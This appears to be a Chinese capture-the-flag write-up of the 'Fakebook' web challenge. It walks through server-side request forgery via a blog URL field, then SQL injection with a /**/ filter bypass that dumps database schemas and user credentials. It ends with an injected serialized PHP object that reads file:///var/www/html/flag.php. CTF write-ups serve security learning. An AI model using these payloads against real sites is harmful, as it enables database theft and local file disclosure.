[网鼎杯 2018]Fakebook
首页
/login.php
/login.php
的账号密码直接POST
到/login.ok.php
认证失败时通过javascript
返回上一页
/join.php
/join.php
也是直接通过POST
实现
提示blog
非法
修改blog
为https://www.baidu.com
(百度,惨)
username=admin&passwd=123&age=18&blog=https://www.baidu.com
提示加入成功
alert('Join success');
location.href='/';
返回首页能看到相关信息
username
这一列还有个超链接,点击能访问/view.php?no=1
下面出现了一个没显示全的滚动条,莫非是隐藏了什么惊天大秘密QwQ
审查元素发现这里直接用的iframe
,而且src
用的也不是url,而是base64
编码过后的html
改height
属性为1000em
,发现解码之后正是刚才join
时输入的百度的首页,
这里图片加载不出来好像是图片的src
利用了协议依赖加载的原因(?),从base64
解码出来的页面不知道是不是把图片路径解析成file://
协议了
像上面所说的,既然不是直接在iframe
里提供https://www.baidu.com
的url
,而是提供base64
编码的html
文件,说明blog
所指示的页面是在服务端被访问的
抱着好奇试了试套娃
blog=/view.php?no=3
然后服务器就炸了wuwuwu
Two thousand years later
重启靶机继续迫害(
虽然知道可以利用这一点来让服务器访问任意url
,但我想不到怎么利用这点QAQ
于是郁闷的改了改view.php
的no
参数
/view.php?no=1
靶机重启过,所以no=1
是不存在的
好像可以注入的样子,有点起色了
/view.php?no=a
好家伙,报了查询错误,可能确实可以sql
注入
/view.php?no=1 union select 1#
no hack ~_~
这个no hack就有种此地无银三百两的意味了QwQ
看看什么东西被ban了
/view.php?no=1 union#
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1)
/view.php?no=1 select#
还是一样的报语法错误
/view.php?no=union select
no hack ~_~
确定是"union select"
被匹配了
尝试用/**/
绕过,然后判断注入点
/view.php?no=1 union/**/select 1,2,3,4#
发现第二列对应username
/view.php?no=1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata#
/view.php?no=1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#
/view.php?no=1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
后来添加了一个用户
/view.php?no=2 union/**/select 1,group_concat(no),3,4 from fakebook.users#
/view.php?no=2 union/**/select 1,group_concat(username),3,4 from fakebook.users#
/view.php?no=2 union/**/select 1,group_concat(passwd),3,4 from fakebook.users#
/view.php?no=2 union/**/select 1,group_concat(data),3,4 from fakebook.users#
这里发现data
字段是序列化过后的用户信息
结合反序列化的错误提示,推测view.php
的生成基于data
的反序列化
/view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:21:"https://www.baidu.com";}'#
猜测flag
放在flag.php
里
/view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3szNDMyZDYyZS0wMWM3LTQyMzQtOTAxOC1lYzJhMGFmMGQ0NDR9IjsNCmV4aXQoMCk7DQo='>
</div>
结果还真猜对了QwQ